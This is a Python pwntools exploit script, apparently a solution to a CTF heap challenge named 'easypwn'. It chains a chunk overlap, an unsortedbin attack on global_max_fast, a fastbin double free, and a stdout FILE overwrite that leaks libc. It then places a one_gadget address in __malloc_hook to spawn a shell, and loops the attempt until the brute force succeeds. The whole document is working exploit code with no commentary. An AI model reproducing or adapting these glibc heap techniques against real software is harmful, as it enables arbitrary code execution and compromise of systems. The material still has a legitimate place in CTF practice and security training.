from pwn import *
context.log_level = 'debug'

p = ''
e = ELF('./easypwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
global_max_fast = b'\xe8\x67'
onegadget = [0x45226,0x4527a,0xf03a4,0xf1247]
malloc_hook_symbols = libc.symbols['__malloc_hook']
libc_start_main_symbols = libc.symbols['__libc_start_main']

def add(size):
    p.sendlineafter('Your choice:','1')
    p.sendlineafter('size:',str(size))

def edit(index,content):
    p.sendlineafter('Your choice:','2')
    p.sendlineafter('idx:',str(index))
    p.sendafter('content:',content)

def delete(index):
    p.sendlineafter('Your choice:','3')
    p.sendlineafter('idx:',str(index))

#f70
#p &global_max_fast

while 1:
    try:
        p = process('./easypwn')
        #gdb.attach(p)

        add(0x68) #0 d1
        add(0x68) #1 d3
        add(0x68) #2
        add(0x68) #3
        add(0xf8) #4 d2
        add(0xf8) #5
        delete(0)
        edit(3,b"a"*0x60+p64(0x1C0))
        delete(4)

        #0-1-2
        add(0x68) #0 d3
        add(0x68) #4 d3
        add(0x68) #6
        edit(3,b"\x00"*0x8+b"\xe8\x37"+b"\n")#global_max_fast's addr
        add(0x100+0x68) #7 unsortedbin attack!
        edit(2,p64(0x71)+b"\xdd\x25"+b"\n")#IO_FILE_stderr's addr,using the unsortbin's poniter
        delete(4)
        delete(0)
        delete(1) #fastbin double free
        add(0x68) #0
        edit(0,b"\xe8"+b"\n")#fastbin attack,change fastbin->fd
        
        #gdb.attach(p)

        add(0x68) #1
        add(0x68) #4
        add(0x68) #8
        add(0x68) #9  IO_FILE_stderr

        edit(9,p64(0x0)*5+b"\x00\x00\x00"+p64(0x0)+p64(0xfbad1800)+p64(0)*3+b'\x20\n')#overwrite __stdout 's _IO_write_base, 0x20 is stdout's address,it will output stdout's address
        libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3a4ed0  #libc_start_main - stdout
        libc_base = libc_base - libc_start_main_symbols
        print(hex(libc_base))

        #gdb.attach(p)

        gadget = libc_base + onegadget[2]
        malloc_hook = libc_base + libc.symbols['__malloc_hook']
        target = malloc_hook - 0x23

        delete(6)
        edit(2,p64(target)+b'\n')
        add(0x68)#6
        add(0x68)#10
        edit(10,b'\x00'*0x13+p64(gadget)+b'\n')
        add(0x68)
        p.interactive()
    except Exception as e:
        #print(str(e))
        #break
        print('continue')

#p.interactive()
